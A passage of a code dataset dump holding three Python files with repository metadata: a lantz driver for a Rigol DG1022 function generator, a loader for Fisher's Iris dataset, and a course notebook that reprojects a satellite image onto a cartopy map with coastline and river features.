"hwangmpaula/Explore-US-Bikeshare-Data", "max_issues_repo_head_hexsha": "6b6b7f54a8be6f144cf4ec1101845a86218f7cb9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "home/bikeshare.py", "max_forks_repo_name": "hwangmpaula/Explore-US-Bikeshare-Data", "max_forks_repo_head_hexsha": "6b6b7f54a8be6f144cf4ec1101845a86218f7cb9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2021-02-07T20:49:12.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-19T01:01:13.000Z", "avg_line_length": 33.7921568627, "max_line_length": 122, "alphanum_fraction": 0.5568063131, "include": true, "reason": "import numpy", "num_tokens": 2102, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879062662624377, "lm_q2_score": 0.14608724333058223, "lm_q1q2_score": 0.0684843303430442}}
{"text": "\"\"\"\n\n    lantz.drivers.rigol.dg1022\n    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n    Implementation of Rigol DG1022 function generator with 2 channels. More or\n    less based around on the Ag33522a driver from Berk Diler.\n\n    Manual available from: https://www.rigolna.com/products/waveform-generators/dg1000/\n\n    Author: Peter Mintun\n\n    Date: 12/11/2017\n\n\"\"\"\n\n\nimport numpy as np\nimport lantz\nfrom lantz import Action, Feat, DictFeat, ureg\nfrom collections import OrderedDict\nfrom lantz.messagebased import MessageBasedDriver\n\nclass DG1022(MessageBasedDriver):\n\n    DEFAULTS = {\n        'COMMON': {\n            'write_termination': '\\n',\n            'read_termination': '\\n',\n        }\n    }\n\n    CHANNELS = OrderedDict([(1, 1),\n                           (2,2)])\n\n    TOGGLE = OrderedDict([('on', 'ON'),\n                          ('off', 'OFF')])\n\n    WAVEFORMS = OrderedDict([('arbitrary', 'ARB'),\n                             ('dc', 'DC'),\n                             ('harmonic', 'HARM'),\n                             ('noise', 'NOIS'),\n                             ('pulse', 'PULS'),\n                             ('ramp', 'RAMP'),\n                             ('sine', 'SIN'),\n                             ('square', 'SQU'),\n                             ('triangle', 'TRI'),\n                             ('user', 'USER')])\n\n    @Feat(read_once=True)\n    def idn(self):\n        return self.query('*IDN?')\n\n    @Action()\n    def reset(self):\n        return self.write('*RST')\n\n    @Feat()\n    def error(self):\n        msg = self.query(\"SYST:ERR?\")\n        return msg.split(',') #error code, error message\n\n    @DictFeat(keys = CHANNELS, units=\"Hz\", limits=(1e-6, 25e6))\n    def frequency(self,channel):\n        \"\"\"\n        Returns the frequency of the specified channel, in Hertz.\n        \"\"\"\n        return float(self.query('SOUR{}:FREQ?'.format(channel)))\n\n    @frequency.setter\n    def frequency(self,channel,value):\n        \"\"\"\n        Sets the frequency of the specified channel, to value. Note that this\n        is not smart enough to keep track of the different bandwidth constraints\n        on different types of waveforms, so see the manual accordingly.\n        \"\"\"\n        return self.write('SOUR{}:FREQ {:1.6f}'.format(channel,value))\n\n    @DictFeat(keys=CHANNELS, values=WAVEFORMS)\n    def function(self,channel):\n        \"\"\"\n        Returns the function of the specified channel from the options\n        enumerated in WAVEFORMS.\n        \"\"\"\n        result = self.query('SOUR{}:APPL?'.format(channel))[1:-1]\n        return result.split(',')[0]\n\n    @function.setter\n    def function(self,channel,value):\n        \"\"\"\n        Returns the function of the specified channel to value (specified in\n        WAVEFORMS).\n        \"\"\"\n        return self.write('SOUR{}:APPL:{}'.format(channel, value))\n\n    @DictFeat(keys = CHANNELS, values = TOGGLE)\n    def output(self,channel):\n        \"\"\"\n        Reads the output state of the specified channel.\n        \"\"\"\n        return self.query('OUTP{}?'.format(channel))\n\n    @output.setter\n    def output(self,channel,val):\n        \"\"\"\n        Sets the output state of the specified channel to val.\n        \"\"\"\n        return self.write('OUTP{} {}'.format(channel,val))\n\n    @DictFeat(keys=CHANNELS, units=\"V\", limits=(-10.,10.))\n    def voltage_low(self,channel):\n        \"\"\"\n        Queries the low voltage level for the specified channel.\n        \"\"\"\n        return float(self.query(\"SOUR{}:VOLT:LOW?\".format(channel)))\n\n    @voltage_low.setter\n    def voltage_low(self,channel,value):\n        \"\"\"\n        Sets the high voltage level for the specified channel.\n        \"\"\"\n        return self.write(\"SOUR{}:VOLT:LOW {:1.6f}\".format(channel, value))\n\n    @DictFeat(keys=CHANNELS, units=\"V\", limits=(-10.,10.))\n    def voltage_high(self,channel):\n        \"\"\"\n        Queries the high voltage level for the specified channel.\n        \"\"\"\n        return float(self.query(\"SOUR{}:VOLT:HIGH?\".format(channel)))\n\n    @voltage_high.setter\n    def voltage_high(self,channel,value):\n        \"\"\"\n        Sets the high voltage level for the specified channel.\n        \"\"\"\n        return self.write(\"SOUR{}:VOLT:HIGH {:1.6f}\".format(channel, value))\n\n    @DictFeat(keys = CHANNELS, units = \"V\", limits=(0., 20.))\n    def voltage_amplitude(self,channel):\n        \"\"\"\n        Queries the peak-to-peak voltage amplitude of the specified output\n        channel.\n        \"\"\"\n        return float(self.query(\"SOUR{}:VOLT?\".format(channel)))\n\n    @voltage_amplitude.setter\n    def voltage_amplitude(self,channel,value):\n        \"\"\"\n        Sets the peak-to-peak voltage amplitude of the specified output channel.\n        \"\"\"\n        return self.write(\"SOUR{}:VOLT {:1.6f}\".format(channel,value))\n\n    @DictFeat(keys=CHANNELS, units=\"V\", limits=(-10., 10.))\n    def voltage_offset(self, channel):\n        \"\"\"\n        Queries the offset voltage of the specified output channel.\n        \"\"\"\n        return float(self.query(\"SOUR{}:VOLT:OFFS?\".format(channel)))\n\n    @voltage_offset.setter\n    def voltage_offset(self, channel, value):\n        \"\"\"\n        Sets the offset voltage of the specified output channel.\n        \"\"\"\n        self.write(\"SOUR{}:VOLT:OFFS {:1.6f}\".format(channel, value))\n\n\nif __name__ == '__main__':\n\n\n    # note: if you don't see your device, it may not work over USB 3.0?\n    addr = 'USB0::0x1AB1::0x0642::DG1ZA192902819::INSTR'\n\n    try:\n        inst = DG1022(addr)\n        inst.initialize()\n\n        inst.reset()\n\n        print('Identification:{}'.format(inst.idn))\n        print('Error:{}'.format(inst.error))\n\n\n    except:\n\n        print('Could not find instrument, check connection/address!')\n\n    # code to check various parameters from supported channels\n    for channel in inst.CHANNELS.keys():\n\n        inst.frequency[channel] = 1e-6\n        print('Channel {} frequency: {}'.format(channel, inst.frequency[channel]))\n        inst.frequency[channel] = 20e6\n        print('Channel {} frequency: {}'.format(channel, inst.frequency[channel]))\n\n        print('Channel {} function: {}'.format(channel, inst.function[channel]))\n        inst.function[channel] = 'square'\n        print('Channel {} function: {}'.format(channel, inst.function[channel]))\n\n        inst.output[channel] = 'off'\n        print('Channel {} output:{}'.format(channel, inst.output[channel]))\n        inst.output[channel] = 'on'\n        print('Channel {} output:{}'.format(channel, inst.output[channel]))\n        inst.output[channel] = 'off'\n        print('Channel {} output:{}'.format(channel, inst.output[channel]))\n\n        print('Channel {} low voltage:{}'.format(channel, inst.voltage_low[channel]))\n        inst.voltage_low[channel] = -1.0\n        print('Channel {} low voltage:{}'.format(channel, inst.voltage_low[channel]))\n\n        print('Channel {} high voltage:{}'.format(channel, inst.voltage_high[channel]))\n        inst.voltage_high[channel] = 1.0\n        print('Channel {} high voltage:{}'.format(channel, inst.voltage_high[channel]))\n\n        print('Channel {} voltage amplitude:{}'.format(channel, inst.voltage_amplitude[channel]))\n        print('Channel {} voltage offset:{}'.format(channel, inst.voltage_offset[channel]))\n\n        inst.voltage_amplitude[channel] = 5.0\n        inst.voltage_offset[channel] = 0.0\n\n        print('Channel {} voltage amplitude:{}'.format(channel, inst.voltage_amplitude[channel]))\n        print('Channel {} voltage offset:{}'.format(channel, inst.voltage_offset[channel]))\n        print('Channel {} low voltage:{}'.format(channel, inst.voltage_low[channel]))\n        print('Channel {} high voltage:{}'.format(channel, inst.voltage_high[channel]))\n", "meta": {"hexsha": "7e324849e9d1c9a05bc9a81fba5322ec4cf9282a", "size": 7620, "ext": "py", "lang": "Python", "max_stars_repo_path": "lantz/lantz/drivers/rigol/dg1022.py", "max_stars_repo_name": "zhong-lab/optics", "max_stars_repo_head_hexsha": "9de1942d9a128183ecb3d360b160b27126e7b8f0", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": 6, "max_stars_repo_stars_event_min_datetime": "2016-04-13T12:59:18.000Z", "max_stars_repo_stars_event_max_datetime": "2020-06-24T17:43:04.000Z", "max_issues_repo_path": "lantz/lantz/drivers/rigol/dg1022.py", "max_issues_repo_name": "zhong-lab/optics", "max_issues_repo_head_hexsha": "9de1942d9a128183ecb3d360b160b27126e7b8f0", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lantz/lantz/drivers/rigol/dg1022.py", "max_forks_repo_name": "zhong-lab/optics", "max_forks_repo_head_hexsha": "9de1942d9a128183ecb3d360b160b27126e7b8f0", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": 6, "max_forks_repo_forks_event_min_datetime": "2015-12-14T19:30:36.000Z", "max_forks_repo_forks_event_max_datetime": "2020-06-29T21:16:01.000Z", "avg_line_length": 33.8666666667, "max_line_length": 97, "alphanum_fraction": 0.5904199475, "include": true, "reason": "import numpy", "num_tokens": 1757, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879062662624377, "lm_q2_score": 0.14608724147172555, "lm_q1q2_score": 0.0684843294716296}}
{"text": "#!/usr/bin/env python\n# Andre Anjos <andre.anjos@idiap.ch>\n# Thu 23 Jun 20:22:28 2011 CEST\n# vim: set fileencoding=utf-8 :\n\n\"\"\"\nThe Iris flower data set or Fisher's Iris data set is a multivariate data\nset introduced by Sir Ronald Aylmer Fisher (1936) as an example of\ndiscriminant analysis. It is sometimes called Anderson's Iris data set\nbecause Edgar Anderson collected the data to quantify the geographic\nvariation of Iris flowers in the Gaspe Peninsula.\n\nFor more information: http://en.wikipedia.org/wiki/Iris_flower_data_set\n\nReferences:\n\n  1. Fisher,R.A. \"The use of multiple measurements in taxonomic problems\",\n  Annual Eugenics, 7, Part II, 179-188 (1936); also in \"Contributions to\n  Mathematical Statistics\" (John Wiley, NY, 1950).\n\n  2. Duda,R.O., & Hart,P.E. (1973) Pattern Classification and Scene Analysis.\n  (Q327.D83) John Wiley & Sons. ISBN 0-471-22361-1. See page 218.\n\n  3. Dasarathy, B.V. (1980) \"Nosing Around the Neighborhood: A New System\n  Structure and Classification Rule for Recognition in Partially Exposed\n  Environments\". IEEE Transactions on Pattern Analysis and Machine\n  Intelligence, Vol. PAMI-2, No. 1, 67-71.\n\n  4. Gates, G.W. (1972) \"The Reduced Nearest Neighbor Rule\". IEEE\n  Transactions on Information Theory, May 1972, 431-433.\n\"\"\"\n\nimport os\nimport sys\nimport numpy\nfrom . import driver #driver interface\n\nimport pkg_resources\n\n__version__ = pkg_resources.require(__name__)[0].version\n\nnames = ['Sepal Length', 'Sepal Width', 'Petal Length', 'Petal Width']\n\"\"\"Names of the features for each entry in the dataset.\"\"\"\n\nstats = {\n    'Sepal Length': [4.3, 7.9, 5.84, 0.83, 0.7826],\n    'Sepal Width': [2.0, 4.4, 3.05, 0.43, -0.4194],\n    'Petal Length': [1.0, 6.9, 3.76, 1.76, 0.9490], #high correlation\n    'Petal Width': [0.1, 2.5, 1.20, 0.76, 0.9565], #high correlation\n    }\n\"\"\"These are basic statistics for each of the features in the whole dataset.\"\"\"\n\nstat_names = ['Minimum', 'Maximum', 'Mean', 'Std.Dev.', 'Correlation']\n\"\"\"These are the statistics available in each column of the stats variable.\"\"\"\n\ndef data():\n  \"\"\"Loads from (text) file and returns Fisher's Iris Dataset.\n\n  This set is small and simple enough to require an SQL backend. We keep the\n  single file it has in text and load it on-the-fly every time this method is\n  called.\n\n  We return a dictionary containing the 3 classes of Iris plants catalogued in\n  this dataset. Each dictionary entry contains an 2D :py:class:`numpy.ndarray`\n  of 64-bit floats and 50 entries. Each entry is an Array with 4 features as\n  described by \"names\".\n  \"\"\"\n  from .driver import Interface\n  import csv\n  import pkg_resources\n\n  data = pkg_resources.resource_filename(__name__, 'iris.data')\n\n  retval = {}\n\n  # The CSV file reader API changed between Python2 and Python3\n  open_dict = dict(mode='rb') #python2.x\n  if sys.version_info[0] >= 3: #python3.x\n    open_dict = dict(mode='rt', encoding='ascii', newline='')\n\n  with open(data, **open_dict) as csvfile:\n    for row in csv.reader(csvfile):\n      name = row[4][5:].lower()\n      retval.setdefault(name, []).append([float(k) for k in row[:4]])\n\n  # Convert to a float64 2D numpy.ndarray\n  for key, value in retval.items():\n    retval[key] = numpy.array(value, dtype='float64')\n\n  return retval\n\ndef __dump__(args):\n  \"\"\"Dumps the database to stdout.\n\n  Keyword arguments:\n\n  args\n    A argparse.Arguments object with options set. We use two of the options:\n    ``cls`` for the class to be dumped (if None, then dump all data) and\n    ``selftest``, which runs the internal test.\n  \"\"\"\n\n  d = data()\n  if args.cls: d = {args.cls: d[args.cls]}\n\n  output = sys.stdout\n  if args.selftest:\n    from bob.db.base.utils import null\n    output = null()\n\n  for k, v in d.items():\n    for array in v:\n      s = ','.join(['%.1f' % array[i] for i in range(array.shape[0])] + [k])\n      output.write('%s\\n' % (s,))\n\n  return 0\n\ndef get_config():\n  \"\"\"Returns a string containing the configuration information.\n  \"\"\"\n  import bob.extension\n  return bob.extension.get_config(__name__)\n\n__all__ = ['names', 'stats', 'stat_names', 'data', 'get_config']\n", "meta": {"hexsha": "df6e0dfb25e3d6f31cbf06f32ce0bec26f2e933f", "size": 4090, "ext": "py", "lang": "Python", "max_stars_repo_path": "bob/db/iris/__init__.py", "max_stars_repo_name": "bioidiap/bob.db.iris", "max_stars_repo_head_hexsha": "beadb65ec2d978ea1c7fd300ff107646f3137c4e", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "bob/db/iris/__init__.py", "max_issues_repo_name": "bioidiap/bob.db.iris", "max_issues_repo_head_hexsha": "beadb65ec2d978ea1c7fd300ff107646f3137c4e", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2016-07-29T13:33:22.000Z", "max_issues_repo_issues_event_max_datetime": "2016-07-29T14:53:35.000Z", "max_forks_repo_path": "bob/db/iris/__init__.py", "max_forks_repo_name": "bioidiap/bob.db.iris", "max_forks_repo_head_hexsha": "beadb65ec2d978ea1c7fd300ff107646f3137c4e", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2016-03-08T11:17:50.000Z", "max_forks_repo_forks_event_max_datetime": "2018-05-17T14:46:39.000Z", "avg_line_length": 32.72, "max_line_length": 79, "alphanum_fraction": 0.6958435208, "include": true, "reason": "import numpy", "num_tokens": 1159, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4493926344647597, "lm_q2_score": 0.1520322377801054, "lm_q1q2_score": 0.06832216785957435}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     cell_metadata_filter: all\n#     notebook_metadata_filter: all,-language_info,-toc,-latex_envs\n#     text_representation:\n#       extension: .py\n#       format_name: percent\n#       format_version: '1.3'\n#       jupytext_version: 1.6.1-dev\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# %%\nimport copy\nimport datetime\nimport pprint\nfrom pathlib import Path\n\nimport cartopy\nimport cartopy.crs\nimport geopandas as gpd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pytz\nimport rasterio\nfrom IPython.display import display\nfrom matplotlib import pyplot as plt\nfrom matplotlib.colors import Normalize\nfrom pyproj import CRS, Transformer\n\n# %%\nimport a301_lib\n\npacific = pytz.timezone(\"US/Pacific\")\ndate = datetime.datetime.today().astimezone(pacific)\nprint(f\"written on {date}\")\n\n# %% [markdown]\n# (assign6b_sol)=\n# # Solution: adding an image with features to a cartopy map\n#\n# Here's a demo of adding features to an image.  The notebook does some extra work to\n# illustrate how to make a map that is bigger than the image, and how to reproject from\n# one raster crs to another using rasterio.\n#\n# 1) read in the `vancouver_345_refl.tiff` band 5 image  \n# 2) find the image corners in utm10 and geodetic lat/lon (for the features)  \n# 3) put the image on a map that extends 5 km beyond the image  \n# 4) add the features to the big map  \n# 5) create a new crs that is laea centered on lat=50 deg N, lon= -120 deg E  \n# 6) use rasterio.reproject to reproject the utm10 image onto the laea crs  \n# 7) draw a 50 row by 100 column box on the image\n\n# %% [markdown]\n# ## Read in the geotiff\n#\n# First read in band 5 from the `vancouver_345_refl.tiff` image that was produced by\n# {ref}`rasterio_3bands`:\n\n# %%\nnotebook_dir = a301_lib.data_share.resolve()\nprint(notebook_dir)\nweek10_scene = notebook_dir / \"vancouver_345_refl.tiff\"\n\n# %%\nwith rasterio.open(week10_scene) as van_raster:\n    b5_refl = van_raster.read(3)\n    chan3_tags = van_raster.tags(3)\n    crs_10 = van_raster.profile[\"crs\"]\n    profile=van_raster.profile\n    affine_transform = profile[\"transform\"]\n    tags = van_raster.tags()\n    print(f\"\\n\\n{tags=}, \\n\\n{chan3_tags=},\\n\\n {profile=},\\n\\n {affine_transform=}\\n\")\n\n# %% [markdown]\n# ## Set up the lat/lon UTM10N transform\n#\n# I'll want to transform back and forth between UTM and lat/lon (since I think in lat/lon), so create\n# a transformer object for this.  Copy code from {ref}`image_zoom`\n\n# %%\nfrom pyproj import CRS, Transformer\n\np_utm10 = crs_10\np_latlon = CRS.from_epsg(4326)\ncrs_transform = Transformer.from_crs(p_latlon, p_utm10)\nprint(p_latlon.to_wkt())\n\n# %% [markdown]\n# ## Find the corners of the image\n#\n# I need the upper left and lower right corners to set the image extent for imshow.  This is\n# what the affine transform provides.  I'll use my crs_transform to also get the image_extent\n# in lon/lat coords to make sure I'm in the right place\n\n# %%\nul_x_utm10, ul_y_utm10 = affine_transform*(0,0)\nlr_x_utm10, lr_y_utm10 = affine_transform*(profile['width'],profile['height'])\nprint(f\"{(ul_x_utm10,ul_y_utm10,lr_x_utm10,lr_y_utm10)=}\")\nimage_extent_utm10 = (ul_x_utm10,lr_x_utm10, lr_y_utm10, ul_y_utm10)\n\n# %%\nul_lon,ul_lat = crs_transform.transform(ul_x_utm10,ul_y_utm10,direction='INVERSE')\nlr_lon,lr_lat = crs_transform.transform(lr_x_utm10,lr_y_utm10,direction='INVERSE')\nprint(f\"{(ul_lon,ul_lat,lr_lon,lr_lat)=}\")\n\n# %% [markdown]\n# ## Make the map extent bigger than the image\n#\n# In order show more context, I'll enlarge the map extent by 5 km on each size\n\n# %%\nmap_ul_x = ul_x_utm10 - 5.e3\nmap_lr_x = lr_x_utm10 + 5.e3\nmap_ul_y = ul_y_utm10 + 5.e3\nmap_lr_y = lr_y_utm10 - 5.e3\nmap_extent_utm10 = (map_ul_x,map_lr_x,map_lr_y,map_ul_y)\nprint(f\"{map_extent_utm10=}\")\n\n# %% [markdown]\n# * Repeat the imshow code from {ref}`rasterio_3bands`:\n\n# %%\ncartopy_utm10 = cartopy.crs.epsg(crs_10.to_epsg())\nfig, ax = plt.subplots(\n        1, 1, figsize=(15,15), subplot_kw={\"projection\": cartopy_utm10}\n    )\n\nvmin = 0.0\nvmax = 0.4\nthe_norm = Normalize(vmin=vmin, vmax=vmax, clip=False)\npalette = \"viridis\"\npal = copy.copy(plt.get_cmap(palette))\npal.set_bad(\"0.75\")  # 75% grey for out-of-map cells\npal.set_over(\"w\")  # color cells > vmax red\npal.set_under(\"k\")  # color cells < vmin black\ncol=ax.imshow(b5_refl, cmap=pal, norm=the_norm, origin=\"upper\",\n          extent=image_extent_utm10,transform=cartopy_utm10);\ncbar_ax = fig.add_axes([0.85, 0.2, 0.05, 0.6])\ncbar = ax.figure.colorbar(col, extend=\"both\", cax=cbar_ax, orientation=\"vertical\")\ncbar.set_label(\"band 5 reflectance\")\n\n# %% [markdown]\n# ## Now set the map extent\n#\n# From the {ref}`demo_cartopy_extent` notebook we can repeat the ax.set_extent call to make the map\n# larger than the image\n\n# %%\nax.set_extent(map_extent_utm10,crs=cartopy_utm10)\ndisplay(fig)\n\n# %% [markdown]\n# ## Add features\n#\n# Use the {ref}`subset_map` code to put features on this axis.  I need the cartopy_latlon\n# crs to do this (since p_latlon, the pyproj crs, doesn't work with cartopy)\n\n# %%\ngpd_dict = {}\nread_files=True\nif read_files:\n    all_cia = a301_lib.data_share / \"openstreetmap/WDBII_shp/f\"\n    all_cia = list(all_cia.glob(\"*\"))\n    for item in all_cia:\n        gpd_dict[item.name] = gpd.read_file(item)\n        print(f\"read {item.name}\")\n\n    all_gshhs = a301_lib.data_share / \"openstreetmap/GSHHS_shp/f\"\n    all_gshhs = list(all_gshhs.glob(\"*\"))\n\n    for item in all_gshhs:\n        gpd_dict[item.name] = gpd.read_file(item)\n        print(f\"read {item.name}\")\nelse:\n    shape_files = list(small_shapes.glob(\"*\"))\n    for item in shape_files:\n        key = item.stem\n        gpd_dict[key] = gpd.read_file(item)\n        print((f\"reading saved shapefile {item} with\\n\"\n               f\"{len(gpd_dict[key])} rows\"))\n\n\n# %%\ndef find_features(extent, df):\n    \"\"\"\n    given an extent and a dataframe, return a new dataframe\n    containing only features that fall within the extent\n\n    Parameters\n    ----------\n\n    extent:  list -- geographic extent in lon (deg E)/lat (deg N)\n    df:  the geopandas dataframe to slice\n    \"\"\"\n    xleft, xright, ybot, ytop = extent\n    hit_rows = df.cx[xleft:xright, ybot:ytop]\n    return hit_rows\n\nextent = [-124, -122, 48, 50]\nif read_files:\n    subset_dict = {}\n    for key, df in gpd_dict.items():\n        df_subset = find_features(extent, df)\n        if len(df_subset) > 0:\n            subset_dict[key] = df_subset\n            print(f\"clipping {key}\")\nelse:\n    subset_dict=gpd_dict\n\n# %% [markdown]\n# * now put the features on -- they are defined in geodetic (lat/lon) crs\n\n# %%\ncartopy_latlon = cartopy.crs.PlateCarree()\nfor key, df in subset_dict.items():\n    print(f\"adding {key} with {len(df)} features\")\n    if key.find(\"river\") > -1:\n        ax.add_geometries(\n            df[\"geometry\"], cartopy_latlon, facecolor=\"none\", edgecolor=\"green\",lw=3,\n        )\n    else:\n        ax.add_geometries(\n            df[\"geometry\"], cartopy_latlon, facecolor=\"none\", edgecolor=\"blue\",lw=3,\n        )\ndisplay(fig)\n\n# %% [markdown]\n# ## Putting images from different utm zones on a map\n#\n# (not part of the assignment)\n#\n# Suppose you're working on a project that spans BC and Alberta, and you need\n# to put images on a map that are either UTM zone 10 (-126 to -120 deg E) or\n# UTM zone 11 (-120 to - 114 deg E).  To show both images on the same map, you\n# need to reproject them onto a common crs. As a compromise, let's use a laea\n# projection centered on `lon_0`= -120 deg E, `lat_0`=50 deg N\n#\n# Here are the rasterio reprojection module docs: [rasterio](https://rasterio.readthedocs.io/en/latest/topics/reproject.html)\n#\n# ### Step 1 is to create [the new pyproj crs](https://pyproj4.github.io/pyproj/dev/api/crs/crs.html).\n#\n# I'll just borrow the pyproj parameters from our earlier notebooks.\n\n# %%\nlat_0=50\nlon_0 = -120\nlaea_proj = {'datum': 'WGS84', 'lat_0': '50', 'lon_0': '-120', 'no_defs': 'None',\n             'proj': 'laea', 'type': 'crs', 'units': 'm', 'x_0': '0', 'y_0': '0'}\np_laea = CRS(laea_proj)\np_laea.to_wkt()\n\n# %% [markdown]\n# ### Step 2 is to reproject the extent in the new coordinate system\n#\n# Remember that extent order is:  [xleft, xright, ybot, ytop].  We need to get these values in the new laea crs.\n#\n# Here are the two extents for the image\"\n\n# %%\ncrs_transform = Transformer.from_crs(p_utm10, p_laea)\nextent_utm10 = [ul_x_utm10,lr_x_utm10,lr_y_utm10,ul_y_utm10]\nul_x_laea,ul_y_laea = crs_transform.transform(ul_x_utm10,ul_y_utm10)\nlr_x_laea,lr_y_laea = crs_transform.transform(lr_x_utm10,lr_y_utm10)\nextent_laea=[ul_x_laea,lr_x_laea,lr_y_laea,ul_y_laea]\nprint(f\"{extent_utm10=}\")\nprint(f\"{extent_laea=}\")\n\n# %% [markdown]\n# ### step 3: create the affine transform\n#\n# We need the pixel size, then we can use the Affine constructor as we did in {ref}`image_zoom`\n# (don't forget to make the pixel height negative). Notice that the pixel size has\n# changed slightly in the laea crs.  Also notice that the correct denominator is (#pixels - 1), not #pixels.  That's\n# because the extents go from the left side of the first pixel to the right side of the last pixel.  Dividing\n# by #pixels would put the right boundary 1 pixel less than it needs to be.\n\n# %%\npixel_x_size = (lr_x_laea - ul_x_laea)/(profile['width'] -1)\npixel_y_size = (ul_y_laea - lr_y_laea)/(profile['height'] - 1)\nprint(f\"{pixel_x_size=},{pixel_y_size=}\")\n\n# %%\nfrom affine import Affine\n\nlaea_affine = Affine(pixel_x_size,0,ul_x_laea,0,-pixel_y_size,ul_y_laea)\n\n# %% [markdown]\n# ### step 4: do the reprojection from p_utm10 to p_laea\n#\n# First make a numpy array to hold the reprojected image.  We're keeping the row and column numbers the same as i the original tiff.\n\n# %%\nwidth=profile['width']\nheight=profile['height']\nb5_refl_laea = np.ones([height,width],dtype=np.float32)\n\n# %% [markdown]\n# ### Now reproject from utm10 to laea\n\n# %%\nfrom rasterio.warp import Resampling, reproject\n\nreproject(\n        b5_refl,\n        b5_refl_laea,\n        src_transform=affine_transform,\n        src_crs=p_utm10,\n        dst_transform=laea_affine,\n        dst_crs=p_laea,\n        resampling=Resampling.nearest);\nplt.imshow(b5_refl_laea);\n\n# %% [markdown]\n# ### step 5: Make a cartopy map\n#\n# As of cartopy 0.18 we also need to create a cartopy version of the laea crs,\n# since it doesn't accept the pyproj version.   See [cartopy projections](https://scitools.org.uk/cartopy/docs/latest/crs/projections.html#cartopy-projections).  One difference is\n# that cartopy requires that the datum be specified separately from the projection, using a `globe` object.\n# You can track progress on making cartopy more compatible with pyproj [here](https://github.com/SciTools/cartopy/pull/1023#discussion_r168395702) [and here](https://github.com/SciTools/cartopy/issues/1477)\n\n# %%\ndir(cartopy.crs.CRS)\nglobe = cartopy.crs.Globe(datum='WGS84',ellipse='WGS84')\nlaea_cartopy_crs = cartopy.crs.LambertAzimuthalEqualArea(central_longitude=lon_0,\n                                                    central_latitude=lat_0,\n                                                    globe=globe)\nprint(f\"proj4 string: {laea_cartopy_crs.proj4_init=}\")\n\n# %% [markdown]\n# **now plot it with features**\n#\n# Note the boundaries are slightly skewed at the top and bottom of the reprojection. In the laea projection all locations are referenced to the point at (`lon_`,`lat_0`), while for the UTM projection all locations are referenced to the longitude line going through the middle of the zone. The UTM preserves angles and shapes over small regions (i.e. it's conformal), but the scale changes with location.  The laea preserves scale, but distorts angles and shapes.  See [wikpedia lambert](https://en.wikipedia.org/wiki/Lambert_azimuthal_equal-area_projection) and [wikipedia conformal](https://en.wikipedia.org/wiki/Conformal_map_projection)\n\n# %%\nfig, ax = plt.subplots(\n        1, 1, figsize=(10,15), subplot_kw={\"projection\": laea_cartopy_crs}\n    )\n\nvmin = 0.0\nvmax = 0.4\nthe_norm = Normalize(vmin=vmin, vmax=vmax, clip=False)\npalette = \"viridis\"\npal = copy.copy(plt.get_cmap(palette))\npal.set_bad(\"0.75\")  # 75% grey for out-of-map cells\npal.set_over(\"w\")  # color cells > vmax red\npal.set_under(\"k\")  # color cells < vmin black\ncol=ax.imshow(b5_refl_laea, cmap=pal, norm=the_norm, origin=\"upper\",\n          extent=extent_laea,transform=laea_cartopy_crs)\ncbar_ax = fig.add_axes([0.90, 0.2, 0.05, 0.6])\ncbar = ax.figure.colorbar(col, extend=\"both\", cax=cbar_ax, orientation=\"vertical\")\ncbar.set_label(\"band 5 reflectance\")\n\n# %% [markdown]\n# ### Add a coastline/rivers\n\n# %%\nfor key, df in subset_dict.items():\n    print(f\"adding {key} with {len(df)} features\")\n    if key.find(\"river\") > -1:\n        ax.add_geometries(\n            df[\"geometry\"], cartopy_latlon, facecolor=\"none\", edgecolor=\"red\",lw=5,\n        )\n    else:\n        ax.add_geometries(\n            df[\"geometry\"], cartopy_latlon, facecolor=\"none\", edgecolor=\"blue\",lw=3,\n        )\ndisplay(fig)\n\n# %% [markdown]\n# ## draw a red box in the middle of the scene\n#\n# We want a box that's 50 rows by 100 columns. I'll center it at row 300, column 200, and move up 25 rows and\n# down 50 rows to find the corners.\n\n# %%\nul_x, ul_y = laea_affine*(150,275)\nlr_x, lr_y = laea_affine*(250,325)\ndelta_x = lr_x - ul_x\ndelta_y = ul_y - lr_y\nprint(f\"{(ul_x,ul_y,lr_x,lr_y)=}\")\n#\n# circle clockwise from upper left corner\n#\nbox_x = [ul_x, ul_x + delta_x, ul_x + delta_x, ul_x,          ul_x]\nbox_y = [ul_y, ul_y          , ul_y - delta_y, ul_y - delta_y,ul_y]\nax.plot(box_x,box_y,'r-',lw=4)\ndisplay(fig)\n\n# %% [markdown]\n# ## More mapping tools for meteorology\n#\n# Check out [metpy](https://unidata.github.io/MetPy/latest/examples/index.html#plotting) for meteorologically oriented maps.\n", "meta": {"hexsha": "5b7d98eecaee9fcc1149a96ee7057968ef65067a", "size": 13714, "ext": "py", "lang": "Python", "max_stars_repo_path": "week11/assign6b_sol.py", "max_stars_repo_name": "phaustin/a301_2020", "max_stars_repo_head_hexsha": "9be7ead5f641013e2cec4e736ea76171b849e8d5", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-01-26T03:59:16.000Z", "max_stars_repo_stars_event_max_datetime": "2021-01-26T03:59:16.000Z", "max_issues_repo_path": 